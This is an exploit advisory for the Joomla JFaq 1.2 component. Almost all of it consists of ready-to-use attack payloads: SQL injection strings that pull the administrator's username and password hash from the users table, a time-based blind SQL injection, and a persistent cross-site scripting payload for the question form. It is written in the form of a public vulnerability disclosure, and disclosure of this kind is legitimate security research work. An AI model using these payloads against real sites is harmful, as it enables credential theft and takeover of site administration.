# Exploit Title: Joomla Component JFaq 1.2 Multiple Vulnerabilities
# Date: 11 May 2010
# Author: jdc
# Version: 1.2
# Tested on: PHP5, MySQL5
"title" input SQL injection
---------------------------
title', (select concat(username,char(32),password) from #__users where
gid=25 limit 1), 1, 1, 1, 1, 1) -- '
id SQL injection
----------------
requires: magic quotes OFF, Joomla debug mode OFF
?option=com_jfaq
&task=detail
&id=-1' union select concat(username,char(32),password),2,3,4,5,6,7,8,9
from jos_users where gid=25 -- '
id Blind SQL injection
----------------------
requires: magic quotes OFF
?option=com_jfaq
&task=categ
&id=-1' union select benchmark(1000000,md5(5)) -- '
Persistent XSS
--------------
requires: a method to manually POST to form
postdata:
option=com_jfaq
task=add2
visitor_name=foo
categ=1
titlu=bar
question=<img src="f" onerror="alert(1);//"
NOTE: cannot be manually input - editor script strips exploit
